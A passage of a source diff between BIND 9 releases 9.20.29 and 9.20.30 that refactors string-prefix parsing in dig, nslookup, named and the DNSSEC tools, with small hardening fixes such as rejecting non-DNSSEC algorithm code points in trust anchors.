bind9-9.20.30/bin/check/named-checkzone.c 2026-10-12 13:12:07.919889477 +0000 @@ -136,12 +136,9 @@ prog_name += 3; } -#define PROGCMP(X) \ - (strcasecmp(prog_name, X) == 0 || strcasecmp(prog_name, X ".exe") == 0) - - if (PROGCMP("named-checkzone")) { + if (isc_string_casehasprefix(prog_name, "named-checkzone")) { progmode = progmode_check; - } else if (PROGCMP("named-compilezone")) { + } else if (isc_string_casehasprefix(prog_name, "named-compilezone")) { progmode = progmode_compile; } else { UNREACHABLE(); @@ -457,7 +454,7 @@ inputformat = dns_masterformat_text; } else if (strcasecmp(inputformatstr, "raw") == 0) { inputformat = dns_masterformat_raw; - } else if (strncasecmp(inputformatstr, "raw=", 4) == 0) { + } else if (isc_string_casehasprefix(inputformatstr, "raw=")) { inputformat = dns_masterformat_raw; fprintf(stderr, "WARNING: input format raw, version " "ignored\n"); @@ -469,18 +466,19 @@ } if (outputformatstr != NULL) { + const char *rawver = NULL; if (strcasecmp(outputformatstr, "text") == 0) { outputformat = dns_masterformat_text; } else if (strcasecmp(outputformatstr, "raw") == 0) { outputformat = dns_masterformat_raw; - } else if (strncasecmp(outputformatstr, "raw=", 4) == 0) { + } else if ((rawver = isc_string_casestripprefix( + outputformatstr, "raw=")) != NULL) + { char *end; outputformat = dns_masterformat_raw; - rawversion = strtol(outputformatstr + 4, &end, 10); - if (end == outputformatstr + 4 || *end != '\0' || - rawversion > 1U) - { + rawversion = strtol(rawver, &end, 10); + if (end == rawver || *end != '\0' || rawversion > 1U) { fprintf(stderr, "unknown raw format version\n"); exit(EXIT_FAILURE); } diff -Nru bind9-9.20.29/bin/confgen/keygen.c bind9-9.20.30/bin/confgen/keygen.c --- bind9-9.20.29/bin/confgen/keygen.c 2026-09-11 19:41:01.052320206 +0000 +++ bind9-9.20.30/bin/confgen/keygen.c 2026-10-12 13:12:07.920889499 +0000 @@ -40,9 +40,9 @@ */ dns_secalg_t alg_fromtext(const char *name) { - const char *p = name; - if (strncasecmp(p, "hmac-", 5) == 0) { - p = &name[5]; + const char *p = isc_string_casestripprefix(name, "hmac-"); + if (p == NULL) { + p = name; } if (strcasecmp(p, "md5") == 0) { diff -Nru bind9-9.20.29/bin/confgen/tsig-keygen.c bind9-9.20.30/bin/confgen/tsig-keygen.c --- bind9-9.20.29/bin/confgen/tsig-keygen.c 2026-09-11 19:41:01.052320206 +0000 +++ bind9-9.20.30/bin/confgen/tsig-keygen.c 2026-10-12 13:12:07.920889499 +0000 @@ -112,13 +112,10 @@ progname += 3; } -#define PROGCMP(X) \ - (strcasecmp(progname, X) == 0 || strcasecmp(progname, X ".exe") == 0) - - if (PROGCMP("tsig-keygen")) { + if (isc_string_casehasprefix(progname, "tsig-keygen")) { progmode = progmode_keygen; quiet = true; - } else if (PROGCMP("ddns-confgen")) { + } else if (isc_string_casehasprefix(progname, "ddns-confgen")) { progmode = progmode_confgen; } else { UNREACHABLE(); diff -Nru bind9-9.20.29/bin/delv/delv.c bind9-9.20.30/bin/delv/delv.c --- bind9-9.20.29/bin/delv/delv.c 2026-09-11 19:41:01.053320230 +0000 +++ bind9-9.20.30/bin/delv/delv.c 2026-10-12 13:12:07.921889520 +0000 @@ -1107,7 +1107,8 @@ static void plus_option(char *option) { isc_result_t result; - char *cmd, *value, *last = NULL; + const char *cmd, *tail; + char *value, *last = NULL; bool state = true; INSIST(option != NULL); @@ -1117,8 +1118,9 @@ printf(";; Invalid option %s\n", option); return; } - if (strncasecmp(cmd, "no", 2) == 0) { - cmd += 2; + tail = isc_string_casestripprefix(cmd, "no"); + if (tail != NULL) { + cmd = tail; state = false; } @@ -2167,7 +2169,6 @@ CHECK(dns_requestmgr_create(mctx, loopmgr, dispatchmgr, NULL, NULL, &requestmgr)); - dns_view_attach(view, &(dns_view_t *){ NULL }); CHECK(dns_request_create(requestmgr, message, NULL, &peer, NULL, NULL, DNS_REQUESTOPT_TCP, NULL, 1, 0, 0, isc_loop(), recvresponse, message, &request)); @@ -2197,7 +2198,7 @@ UNUSED(cbarg); UNUSED(sigresultp); - *viewp = view; + dns_view_attach(view, viewp); *viewpatchresultp = ISC_R_SUCCESS; return ISC_R_SUCCESS; } diff -Nru bind9-9.20.29/bin/dig/dig.c bind9-9.20.30/bin/dig/dig.c --- bind9-9.20.29/bin/dig/dig.c 2026-09-11 19:41:01.054320254 +0000 +++ bind9-9.20.30/bin/dig/dig.c 2026-10-12 13:12:07.922889541 +0000 @@ -557,6 +557,8 @@ return ISC_R_SUCCESS; } else if (result != ISC_R_SUCCESS) { return result; + } else if (rdataset->rdclass != dns_rdataclass_in) { + return ISC_R_SUCCESS; } result = dns_dns64_findprefix(rdataset, prefix, &count); @@ -1535,7 +1537,8 @@ plus_option(char *option, bool is_batchfile, bool *need_clone, dig_lookup_t *lookup) { isc_result_t result; - char *cmd, *value, *last = NULL, *code, *extra; + const char *cmd, *tail; + char *value, *last = NULL, *code, *extra; uint32_t num; bool state = true; size_t n; @@ -1546,8 +1549,9 @@ printf(";; Invalid option %s\n", option); return lookup; } - if (strncasecmp(cmd, "no", 2) == 0) { - cmd += 2; + tail = isc_string_casestripprefix(cmd, "no"); + if (tail != NULL) { + cmd = tail; state = false; } /* parse the rest of the string */ @@ -1735,6 +1739,9 @@ lookup->rdtype = dns_rdatatype_aaaa; lookup->rdtypeset = true; + lookup->rdclass = + dns_rdataclass_in; + lookup->rdclassset = true; ISC_LIST_APPEND(lookup_list, lookup, link); } @@ -2627,6 +2634,7 @@ struct in6_addr in6; in_port_t srcport; char *hash, *cmd; + const char *ixfrserial = NULL; uint32_t num; while (strpbrk(option, single_dash_opts) == &option[0]) { @@ -2790,7 +2798,9 @@ return value_from_next; case 't': *open_type_class = false; - if (strncasecmp(value, "ixfr=", 5) == 0) { + if ((ixfrserial = isc_string_casestripprefix(value, "ixfr=")) != + NULL) + { rdtype = dns_rdatatype_ixfr; result = ISC_R_SUCCESS; } else { @@ -2813,7 +2823,7 @@ uint32_t serial; (*lookup)->rdtype = dns_rdatatype_ixfr; (*lookup)->rdtypeset = true; - result = parse_uint(&serial, &value[5], + result = parse_uint(&serial, ixfrserial, MAXSERIAL, "serial number"); if (result != ISC_R_SUCCESS) { fatal("Couldn't parse serial number"); @@ -3016,6 +3026,7 @@ char *bargv[64]; int rc; char **rv; + const char *ixfrserial = NULL; #ifndef NOPOSIX char *homedir; char rcfile[PATH_MAX]; @@ -3084,7 +3095,7 @@ rv = argv; for (rc--, rv++; rc > 0; rc--, rv++) { debug("main parsing %s", rv[0]); - if (strncmp(rv[0], "%", 1) == 0) { + if (rv[0][0] == '%') { break; } if (rv[0][0] == '@') { @@ -3139,7 +3150,9 @@ * Anything which isn't an option */ if (open_type_class) { - if (strncasecmp(rv[0], "ixfr=", 5) == 0) { + if ((ixfrserial = isc_string_casestripprefix( + rv[0], "ixfr=")) != NULL) + { rdtype = dns_rdatatype_ixfr; result = ISC_R_SUCCESS; } else { @@ -3171,7 +3184,7 @@ dns_rdatatype_ixfr; lookup->rdtypeset = true; result = parse_uint(&serial, - &rv[0][5], + ixfrserial, MAXSERIAL, "serial " "number"); diff -Nru bind9-9.20.29/bin/dig/dighost.c bind9-9.20.30/bin/dig/dighost.c --- bind9-9.20.29/bin/dig/dighost.c 2026-09-11 19:41:01.055320278 +0000 +++ bind9-9.20.30/bin/dig/dighost.c 2026-10-12 13:12:07.923889563 +0000 @@ -936,7 +936,7 @@ } static uint32_t -parse_bits(char *arg, const char *desc, uint32_t max) { +parse_bits(const char *arg, const char *desc, uint32_t max) { isc_result_t result; uint32_t tmp; @@ -1032,6 +1032,7 @@ void parse_hmac(const char *algname) { char buf[20]; + const char *bits = NULL; size_t len; REQUIRE(algname != NULL); @@ -1046,35 +1047,47 @@ if (strcasecmp(buf, "hmac-md5") == 0) { hmac_alg = DST_ALG_HMACMD5; - } else if (strncasecmp(buf, "hmac-md5-", 9) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-md5-")) != + NULL) + { hmac_alg = DST_ALG_HMACMD5; - digestbits = parse_bits(&buf[9], "digest-bits [0..128]", 128); + digestbits = parse_bits(bits, "digest-bits [0..128]", 128); } else if (strcasecmp(buf, "hmac-sha1") == 0) { hmac_alg = DST_ALG_HMACSHA1; digestbits = 0; - } else if (strncasecmp(buf, "hmac-sha1-", 10) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha1-")) != + NULL) + { hmac_alg = DST_ALG_HMACSHA1; - digestbits = parse_bits(&buf[10], "digest-bits [0..160]", 160); + digestbits = parse_bits(bits, "digest-bits [0..160]", 160); } else if (strcasecmp(buf, "hmac-sha224") == 0) { hmac_alg = DST_ALG_HMACSHA224; - } else if (strncasecmp(buf, "hmac-sha224-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha224-")) != + NULL) + { hmac_alg = DST_ALG_HMACSHA224; - digestbits = parse_bits(&buf[12], "digest-bits [0..224]", 224); + digestbits = parse_bits(bits, "digest-bits [0..224]", 224); } else if (strcasecmp(buf, "hmac-sha256") == 0) { hmac_alg = DST_ALG_HMACSHA256; - } else if (strncasecmp(buf, "hmac-sha256-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha256-")) != + NULL) + { hmac_alg = DST_ALG_HMACSHA256; - digestbits = parse_bits(&buf[12], "digest-bits [0..256]", 256); + digestbits = parse_bits(bits, "digest-bits [0..256]", 256); } else if (strcasecmp(buf, "hmac-sha384") == 0) { hmac_alg = DST_ALG_HMACSHA384; - } else if (strncasecmp(buf, "hmac-sha384-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha384-")) != + NULL) + { hmac_alg = DST_ALG_HMACSHA384; - digestbits = parse_bits(&buf[12], "digest-bits [0..384]", 384); + digestbits = parse_bits(bits, "digest-bits [0..384]", 384); } else if (strcasecmp(buf, "hmac-sha512") == 0) { hmac_alg = DST_ALG_HMACSHA512; - } else if (strncasecmp(buf, "hmac-sha512-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha512-")) != + NULL) + { hmac_alg = DST_ALG_HMACSHA512; - digestbits = parse_bits(&buf[12], "digest-bits [0..512]", 512); + digestbits = parse_bits(bits, "digest-bits [0..512]", 512); } else { fprintf(stderr, ";; Warning, ignoring " diff -Nru bind9-9.20.29/bin/dig/host.c bind9-9.20.30/bin/dig/host.c --- bind9-9.20.29/bin/dig/host.c 2026-09-11 19:41:01.055320278 +0000 +++ bind9-9.20.30/bin/dig/host.c 2026-10-12 13:12:07.923889563 +0000 @@ -691,6 +691,7 @@ dns_rdatatype_t rdtype; dns_rdataclass_t rdclass; uint32_t serial = 0; + const char *ixfrserial = NULL; UNUSED(is_batchfile); @@ -717,13 +718,13 @@ lookup->recurse = false; break; case 't': - if (strncasecmp(isc_commandline_argument, "ixfr=", 5) == - 0) + if ((ixfrserial = isc_string_casestripprefix( + isc_commandline_argument, "ixfr=")) != + NULL) { rdtype = dns_rdatatype_ixfr; /* XXXMPA add error checking */ - serial = strtoul(isc_commandline_argument + 5, - NULL, 10); + serial = strtoul(ixfrserial, NULL, 10); result = ISC_R_SUCCESS; } else { tr.base = isc_commandline_argument; diff -Nru bind9-9.20.29/bin/dig/nslookup.c bind9-9.20.30/bin/dig/nslookup.c --- bind9-9.20.29/bin/dig/nslookup.c 2026-09-11 19:41:01.055320278 +0000 +++ bind9-9.20.30/bin/dig/nslookup.c 2026-10-12 13:12:07.923889563 +0000 @@ -528,12 +528,12 @@ } static bool -testtype(char *typetext) { +testtype(const char *typetext) { isc_result_t result; isc_textregion_t tr; dns_rdatatype_t rdtype; - tr.base = typetext; + tr.base = UNCONST(typetext); tr.length = strlen(typetext); result = dns_rdatatype_fromtext(&rdtype, &tr); if (result == ISC_R_SUCCESS) { @@ -545,12 +545,12 @@ } static bool -testclass(char *typetext) { +testclass(const char *typetext) { isc_result_t result; isc_textregion_t tr; dns_rdataclass_t rdclass; - tr.base = typetext; + tr.base = UNCONST(typetext); tr.length = strlen(typetext); result = dns_rdataclass_fromtext(&rdclass, &tr); if (result == ISC_R_SUCCESS) { @@ -601,74 +601,78 @@ static void setoption(char *opt) { size_t l = strlen(opt); + const char *val = NULL; #define CHECKOPT(A, N) \ ((l >= N) && (l < sizeof(A)) && (strncasecmp(opt, A, l) == 0)) if (CHECKOPT("all", 3)) { show_settings(true, false); - } else if (strncasecmp(opt, "class=", 6) == 0) { - if (testclass(&opt[6])) { - strlcpy(defclass, &opt[6], sizeof(defclass)); + } else if ((val = isc_string_casestripprefix(opt, "class=")) != NULL) { + if (testclass(val)) { + strlcpy(defclass, val, sizeof(defclass)); } - } else if (strncasecmp(opt, "cl=", 3) == 0) { - if (testclass(&opt[3])) { - strlcpy(defclass, &opt[3], sizeof(defclass)); + } else if ((val = isc_string_casestripprefix(opt, "cl=")) != NULL) { + if (testclass(val)) { + strlcpy(defclass, val, sizeof(defclass)); } - } else if (strncasecmp(opt, "type=", 5) == 0) { - if (testtype(&opt[5])) { - strlcpy(deftype, &opt[5], sizeof(deftype)); + } else if ((val = isc_string_casestripprefix(opt, "type=")) != NULL) { + if (testtype(val)) { + strlcpy(deftype, val, sizeof(deftype)); default_lookups = false; } - } else if (strncasecmp(opt, "ty=", 3) == 0) { - if (testtype(&opt[3])) { - strlcpy(deftype, &opt[3], sizeof(deftype)); + } else if ((val = isc_string_casestripprefix(opt, "ty=")) != NULL) { + if (testtype(val)) { + strlcpy(deftype, val, sizeof(deftype)); default_lookups = false; } - } else if (strncasecmp(opt, "querytype=", 10) == 0) { - if (testtype(&opt[10])) { - strlcpy(deftype, &opt[10], sizeof(deftype)); + } else if ((val = isc_string_casestripprefix(opt, "querytype" + "=")) != NULL) + { + if (testtype(val)) { + strlcpy(deftype, val, sizeof(deftype)); default_lookups = false; } - } else if (strncasecmp(opt, "query=", 6) == 0) { - if (testtype(&opt[6])) { - strlcpy(deftype, &opt[6], sizeof(deftype)); + } else if ((val = isc_string_casestripprefix(opt, "query=")) != NULL) { + if (testtype(val)) { + strlcpy(deftype, val, sizeof(deftype)); default_lookups = false; } - } else if (strncasecmp(opt, "qu=", 3) == 0) { - if (testtype(&opt[3])) { - strlcpy(deftype, &opt[3], sizeof(deftype)); + } else if ((val = isc_string_casestripprefix(opt, "qu=")) != NULL) { + if (testtype(val)) { + strlcpy(deftype, val, sizeof(deftype)); default_lookups = false; } - } else if (strncasecmp(opt, "q=", 2) == 0) { - if (testtype(&opt[2])) { - strlcpy(deftype, &opt[2], sizeof(deftype)); + } else if ((val = isc_string_casestripprefix(opt, "q=")) != NULL) { + if (testtype(val)) { + strlcpy(deftype, val, sizeof(deftype)); default_lookups = false; } - } else if (strncasecmp(opt, "domain=", 7) == 0) { - strlcpy(domainopt, &opt[7], sizeof(domainopt)); + } else if ((val = isc_string_casestripprefix(opt, "domain=")) != NULL) { + strlcpy(domainopt, val, sizeof(domainopt)); set_search_domain(domainopt); usesearch = true; - } else if (strncasecmp(opt, "do=", 3) == 0) { - strlcpy(domainopt, &opt[3], sizeof(domainopt)); + } else if ((val = isc_string_casestripprefix(opt, "do=")) != NULL) { + strlcpy(domainopt, val, sizeof(domainopt)); set_search_domain(domainopt); usesearch = true; - } else if (strncasecmp(opt, "port=", 5) == 0) { - set_port(&opt[5]); - } else if (strncasecmp(opt, "po=", 3) == 0) { - set_port(&opt[3]); - } else if (strncasecmp(opt, "timeout=", 8) == 0) { - set_timeout(&opt[8]); - } else if (strncasecmp(opt, "t=", 2) == 0) { - set_timeout(&opt[2]); + } else if ((val = isc_string_casestripprefix(opt, "port=")) != NULL) { + set_port(val); + } else if ((val = isc_string_casestripprefix(opt, "po=")) != NULL) { + set_port(val); + } else if ((val = isc_string_casestripprefix(opt, "timeout=")) != NULL) + { + set_timeout(val); + } else if ((val = isc_string_casestripprefix(opt, "t=")) != NULL) { + set_timeout(val); } else if (CHECKOPT("recurse", 3)) { recurse = true; } else if (CHECKOPT("norecurse", 5)) { recurse = false; - } else if (strncasecmp(opt, "retry=", 6) == 0) { - set_tries(&opt[6]); - } else if (strncasecmp(opt, "ret=", 4) == 0) { - set_tries(&opt[4]); + } else if ((val = isc_string_casestripprefix(opt, "retry=")) != NULL) { + set_tries(val); + } else if ((val = isc_string_casestripprefix(opt, "ret=")) != NULL) { + set_tries(val); } else if (CHECKOPT("defname", 3)) { usesearch = true; } else if (CHECKOPT("nodefname", 5)) { @@ -699,8 +703,8 @@ nofail = false; } else if (CHECKOPT("nofail", 5)) { nofail = true; - } else if (strncasecmp(opt, "ndots=", 6) == 0) { - set_ndots(&opt[6]); + } else if ((val = isc_string_casestripprefix(opt, "ndots=")) != NULL) { + set_ndots(val); } else { printf("*** Invalid option: %s\n", opt); } @@ -865,7 +869,7 @@ for (argc--, argv++; argc > 0 && argv[0] != NULL; argc--, argv++) { debug("main parsing %s", argv[0]); if (argv[0][0] == '-') { - if (strncasecmp(argv[0], "-ver", 4) == 0) { + if (isc_string_casehasprefix(argv[0], "-ver")) { printf("nslookup %s\n", PACKAGE_VERSION); exit(EXIT_SUCCESS); } else if (argv[0][1] != 0) { diff -Nru bind9-9.20.29/bin/dnssec/dnssec-settime.c bind9-9.20.30/bin/dnssec/dnssec-settime.c --- bind9-9.20.29/bin/dnssec/dnssec-settime.c 2026-09-11 19:41:01.058320351 +0000 +++ bind9-9.20.30/bin/dnssec/dnssec-settime.c 2026-10-12 13:12:07.926889627 +0000 @@ -190,7 +190,8 @@ const char *filename = NULL; char *directory = NULL; char keystr[DST_KEY_FORMATSIZE]; - char *endp, *p; + char *endp; + const char *p, *tail; int ch; const char *predecessor = NULL; dst_key_t *prevkey = NULL; @@ -445,13 +446,17 @@ printcreate = true; break; case 'D': - if (!strncmp(p, "sync", 4)) { - p += 4; + if ((tail = isc_string_stripprefix( + p, "sync")) != NULL) + { + p = tail; printsyncdel = true; break; } - if (!strncmp(p, "ds", 2)) { - p += 2; + if ((tail = isc_string_stripprefix( + p, "ds")) != NULL) + { + p = tail; printdsdel = true; break; } @@ -461,13 +466,17 @@ printinact = true; break; case 'P': - if (!strncmp(p, "sync", 4)) { - p += 4; + if ((tail = isc_string_stripprefix( + p, "sync")) != NULL) + { + p = tail; printsyncadd = true; break; } - if (!strncmp(p, "ds", 2)) { - p += 2; + if ((tail = isc_string_stripprefix( + p, "ds")) != NULL) + { + p = tail; printdsadd = true; break; } diff -Nru bind9-9.20.29/bin/dnssec/dnssec-signzone.c bind9-9.20.30/bin/dnssec/dnssec-signzone.c --- bind9-9.20.29/bin/dnssec/dnssec-signzone.c 2026-09-11 19:41:01.059320375 +0000 +++ bind9-9.20.30/bin/dnssec/dnssec-signzone.c 2026-10-12 13:12:07.927889648 +0000 @@ -3904,7 +3904,7 @@ inputformat = dns_masterformat_text; } else if (strcasecmp(inputformatstr, "raw") == 0) { inputformat = dns_masterformat_raw; - } else if (strncasecmp(inputformatstr, "raw=", 4) == 0) { + } else if (isc_string_casehasprefix(inputformatstr, "raw=")) { inputformat = dns_masterformat_raw; fprintf(stderr, "WARNING: input format version " "ignored\n"); @@ -3914,6 +3914,7 @@ } if (outputformatstr != NULL) { + const char *rawver = NULL; if (strcasecmp(outputformatstr, "text") == 0) { outputformat = dns_masterformat_text; } else if (strcasecmp(outputformatstr, "full") == 0) { @@ -3921,14 +3922,14 @@ masterstyle = &dns_master_style_full; } else if (strcasecmp(outputformatstr, "raw") == 0) { outputformat = dns_masterformat_raw; - } else if (strncasecmp(outputformatstr, "raw=", 4) == 0) { + } else if ((rawver = isc_string_casestripprefix( + outputformatstr, "raw=")) != NULL) + { char *end; outputformat = dns_masterformat_raw; - rawversion = strtol(outputformatstr + 4, &end, 10); - if (end == outputformatstr + 4 || *end != '\0' || - rawversion > 1U) - { + rawversion = strtol(rawver, &end, 10); + if (end == rawver || *end != '\0' || rawversion > 1U) { fprintf(stderr, "unknown raw format version\n"); exit(EXIT_FAILURE); } diff -Nru bind9-9.20.29/bin/dnssec/dnssectool.c bind9-9.20.30/bin/dnssec/dnssectool.c --- bind9-9.20.29/bin/dnssec/dnssectool.c 2026-09-11 19:41:01.059320375 +0000 +++ bind9-9.20.30/bin/dnssec/dnssectool.c 2026-10-12 13:12:07.927889648 +0000 @@ -20,6 +20,7 @@ #include #include #include +#include #include #include @@ -34,7 +35,6 @@ #include #include #include -#include #include #include @@ -286,6 +286,7 @@ int64_t val, offset; isc_result_t result; const char *orig = str; + const char *tail; char *endp; size_t n; struct tm tm; @@ -333,15 +334,16 @@ { base = strtoll(str, &endp, 0); str += 10; - } else if (strncmp(str, "now", 3) == 0) { + } else if ((tail = isc_string_stripprefix(str, "now")) != NULL) { base = now; - str += 3; + str = tail; } else if (str[0] >= 'A' && str[0] <= 'Z') { /* parse ctime() format as written by `dnssec-settime -p` */ - endp = isc_tm_strptime(str, "%a %b %d %H:%M:%S %Y", &tm); + endp = strptime(str, "%a %b %d %H:%M:%S %Y", &tm); if (endp != str + 24) { fatal("time value %s is invalid", orig); } + tm.tm_isdst = -1; base = mktime(&tm); str += 24; } diff -Nru bind9-9.20.29/bin/named/log.c bind9-9.20.30/bin/named/log.c --- bind9-9.20.29/bin/named/log.c 2026-09-11 19:41:01.063320471 +0000 +++ bind9-9.20.30/bin/named/log.c 2026-10-12 13:12:07.931889734 +0000 @@ -201,7 +201,7 @@ }; isc_result_t result; - if (sslkeylogfile_path == NULL || + if (sslkeylogfile_path == NULL || *sslkeylogfile_path == 0 || strcmp(sslkeylogfile_path, "config") == 0) { return; diff -Nru bind9-9.20.29/bin/named/main.c bind9-9.20.30/bin/named/main.c --- bind9-9.20.29/bin/named/main.c 2026-09-11 19:41:01.063320471 +0000 +++ bind9-9.20.30/bin/named/main.c 2026-10-12 13:12:07.931889734 +0000 @@ -126,7 +126,7 @@ extern size_t dns_adb_addrslimit; static bool want_stats = false; -static char program_name[NAME_MAX] = "named"; +static char program_name[NAME_MAX + 1] = "named"; static char absolute_conffile[PATH_MAX]; static char saved_command_line[4096] = { 0 }; static char ellipsis[5] = { 0 }; @@ -372,8 +372,9 @@ continue; } else { char tmp[5]; - int c = snprintf(tmp, sizeof(tmp), - "\\%03o", *src++); + int c = snprintf( + tmp, sizeof(tmp), "\\%03o", + (unsigned char)(*src++)); if (dst + c >= eob) { goto add_ellipsis; } @@ -400,7 +401,7 @@ } static int -parse_int(char *arg, const char *desc) { +parse_int(const char *arg, const char *desc) { char *endp; int tmp; long int ltmp; @@ -696,20 +697,31 @@ static void parse_fuzz_arg(void) { - if (!strncmp(isc_commandline_argument, "client:", 7)) { - named_g_fuzz_addr = isc_commandline_argument + 7; + const char *tail; + if ((tail = isc_string_stripprefix(isc_commandline_argument, + "client:")) != NULL) + { + named_g_fuzz_addr = tail; named_g_fuzz_type = isc_fuzz_client; - } else if (!strncmp(isc_commandline_argument, "tcp:", 4)) { - named_g_fuzz_addr = isc_commandline_argument + 4; + } else if ((tail = isc_string_stripprefix(isc_commandline_argument, + "tcp:")) != NULL) + { + named_g_fuzz_addr = tail; named_g_fuzz_type = isc_fuzz_tcpclient; - } else if (!strncmp(isc_commandline_argument, "resolver:", 9)) { - named_g_fuzz_addr = isc_commandline_argument + 9; + } else if ((tail = isc_string_stripprefix(isc_commandline_argument, + "resolver:")) != NULL) + { + named_g_fuzz_addr = tail; named_g_fuzz_type = isc_fuzz_resolver; - } else if (!strncmp(isc_commandline_argument, "http:", 5)) { - named_g_fuzz_addr = isc_commandline_argument + 5; + } else if ((tail = isc_string_stripprefix(isc_commandline_argument, + "http:")) != NULL) + { + named_g_fuzz_addr = tail; named_g_fuzz_type = isc_fuzz_http; - } else if (!strncmp(isc_commandline_argument, "rndc:", 5)) { - named_g_fuzz_addr = isc_commandline_argument + 5; + } else if ((tail = isc_string_stripprefix(isc_commandline_argument, + "rndc:")) != NULL) + { + named_g_fuzz_addr = tail; named_g_fuzz_type = isc_fuzz_rndc; } else { named_main_earlyfatal("unknown fuzzing type '%s'", @@ -751,14 +763,16 @@ named_g_nosyslog = true; } else if (!strcmp(option, "notcp")) { notcp = true; - } else if (!strncmp(option, "maxcachesize=", 13)) { - named_g_maxcachesize = atoi(option + 13); + } else if ((p = isc_string_stripprefix(option, "maxcachesize=")) != + NULL) + { + named_g_maxcachesize = atoi(p); } else if (!strcmp(option, "maxudp512")) { maxudp = 512; } else if (!strcmp(option, "maxudp1460")) { maxudp = 1460; - } else if (!strncmp(option, "maxudp=", 7)) { - maxudp = atoi(option + 7); + } else if ((p = isc_string_stripprefix(option, "maxudp=")) != NULL) { + maxudp = atoi(p); if (maxudp <= 0) { named_main_earlyfatal("bad maxudp"); } @@ -805,14 +819,19 @@ transferslowly = true; } else if (!strcmp(option, "transferstuck")) { transferstuck = true; - } else if (!strncmp(option, "tat=", 4)) { - named_g_tat_interval = atoi(option + 4); - } else if (!strncmp(option, "adbentrywindow=", 15)) { - dns_adb_entrywindow = atoi(option + 15); - } else if (!strncmp(option, "adbcachemin=", 12)) { - dns_adb_cachemin = atoi(option + 12); - } else if (!strncmp(option, "tcppipelining=", 14)) { - size_t pipelining = atoi(option + 14); + } else if ((p = isc_string_stripprefix(option, "tat=")) != NULL) { + named_g_tat_interval = atoi(p); + } else if ((p = isc_string_stripprefix(option, "adbentrywindow" + "=")) != NULL) + { + dns_adb_entrywindow = atoi(p); + } else if ((p = isc_string_stripprefix(option, "adbcachemin=")) != NULL) + { + dns_adb_cachemin = atoi(p); + } else if ((p = isc_string_stripprefix(option, "tcppipelining" + "=")) != NULL) + { + size_t pipelining = atoi(p); if (pipelining < 1) { named_main_earlyfatal("tcppipelining must be at " "least 1"); @@ -833,19 +852,20 @@ static void parse_port(char *arg) { enum { DNSPORT, TLSPORT, HTTPSPORT, HTTPPORT } ptype = DNSPORT; - char *value = arg; + const char *value = arg; + const char *tail = NULL; int port; - if (strncmp(arg, "dns=", 4) == 0) { - value = arg + 4; - } else if (strncmp(arg, "tls=", 4) == 0) { - value = arg + 4; + if ((tail = isc_string_stripprefix(arg, "dns=")) != NULL) { + value = tail; + } else if ((tail = isc_string_stripprefix(arg, "tls=")) != NULL) { + value = tail; ptype = TLSPORT; - } else if (strncmp(arg, "https=", 6) == 0) { - value = arg + 6; + } else if ((tail = isc_string_stripprefix(arg, "https=")) != NULL) { + value = tail; ptype = HTTPSPORT; - } else if (strncmp(arg, "http=", 5) == 0) { - value = arg + 5; + } else if ((tail = isc_string_stripprefix(arg, "http=")) != NULL) { + value = tail; ptype = HTTPPORT; } diff -Nru bind9-9.20.29/bin/named/os.c bind9-9.20.30/bin/named/os.c --- bind9-9.20.29/bin/named/os.c 2026-09-11 19:41:01.064320496 +0000 +++ bind9-9.20.30/bin/named/os.c 2026-10-12 13:12:07.932889755 +0000 @@ -324,7 +324,7 @@ if (path[0] == '/' || path[0] == '@') { result = connect_systemd_notify_unix(path); - } else if (strncmp(path, "vsock", 5) == 0) { + } else if (isc_string_hasprefix(path, "vsock")) { result = ISC_R_FAMILYNOSUPPORT; } else { result = ISC_R_INVALIDPROTO; diff -Nru bind9-9.20.29/bin/named/server.c bind9-9.20.30/bin/named/server.c --- bind9-9.20.29/bin/named/server.c 2026-09-11 19:41:01.065320520 +0000 +++ bind9-9.20.30/bin/named/server.c 2026-10-12 13:12:07.933889777 +0000 @@ -722,7 +722,8 @@ static isc_result_t ta_fromconfig(const cfg_obj_t *key, bool *initialp, const char **namestrp, - unsigned char *digest, dns_rdata_ds_t *ds) { + const char **typestrp, unsigned char *digest, + dns_rdata_ds_t *ds) { isc_result_t result; dns_rdata_dnskey_t keystruct; dns_rdata_t rdata = DNS_RDATA_INIT; @@ -746,6 +747,7 @@ } anchortype; REQUIRE(namestrp != NULL && *namestrp == NULL); + REQUIRE(typestrp != NULL); REQUIRE(ds != NULL); /* if DNSKEY, flags; if DS, key tag */ @@ -779,15 +781,17 @@ } else if (strcasecmp(atstr, "initial-ds") == 0) { anchortype = INIT_DS; } else { - cfg_obj_log(key, named_g_lctx, ISC_LOG_ERROR, - "key '%s': " - "invalid initialization method '%s'", - namestr, atstr); + cfg_obj_log( + key, named_g_lctx, ISC_LOG_ERROR, + "key '%s': invalid initialization method '%s'", + namestr, atstr); result = ISC_R_FAILURE; goto cleanup; } + *typestrp = atstr; } else { anchortype = TRUSTED; + *typestrp = "trusted-key"; } isc_buffer_init(&databuf, data, sizeof(data)); @@ -833,6 +837,14 @@ keystruct.protocol = (uint8_t)rdata2; keystruct.algorithm = (uint8_t)rdata3; + /* + * Reject non DNSSEC code points (includes appropriated code + * points). + */ + if (!dst_dnssec_algorithm(keystruct.algorithm)) { + CLEANUP(DST_R_UNSUPPORTEDALG); + } + if (!dst_algorithm_supported(keystruct.algorithm)) { CHECK(DST_R_UNSUPPORTEDALG); } @@ -900,6 +912,18 @@ ds->digest = digest; memmove(ds->digest, r.base, r.length); + /* + * Reject non DNSSEC code points (includes appropriated code + * points). + */ + if (!dst_dnssec_algorithm(ds->algorithm)) { + CLEANUP(DST_R_UNSUPPORTEDALG); + } + + if (!dst_algorithm_supported(ds->algorithm)) { + CLEANUP(DST_R_UNSUPPORTEDALG); + } + break; default: @@ -936,13 +960,15 @@ dns_fixedname_t fkeyname; dns_name_t *keyname = NULL; const char *namestr = NULL; + const char *typestr = "unknown"; dns_rdata_ds_t ds; isc_result_t result; bool initializing = managed; unsigned char digest[ISC_MAX_MD_SIZE]; isc_buffer_t b; - result = ta_fromconfig(key, &initializing, &namestr, digest, &ds); + result = ta_fromconfig(key, &initializing, &namestr, &typestr, digest, + &ds); switch (result) { case ISC_R_SUCCESS: @@ -965,9 +991,8 @@ * but do not prevent any further ones from being processed. */ cfg_obj_log(key, named_g_lctx, 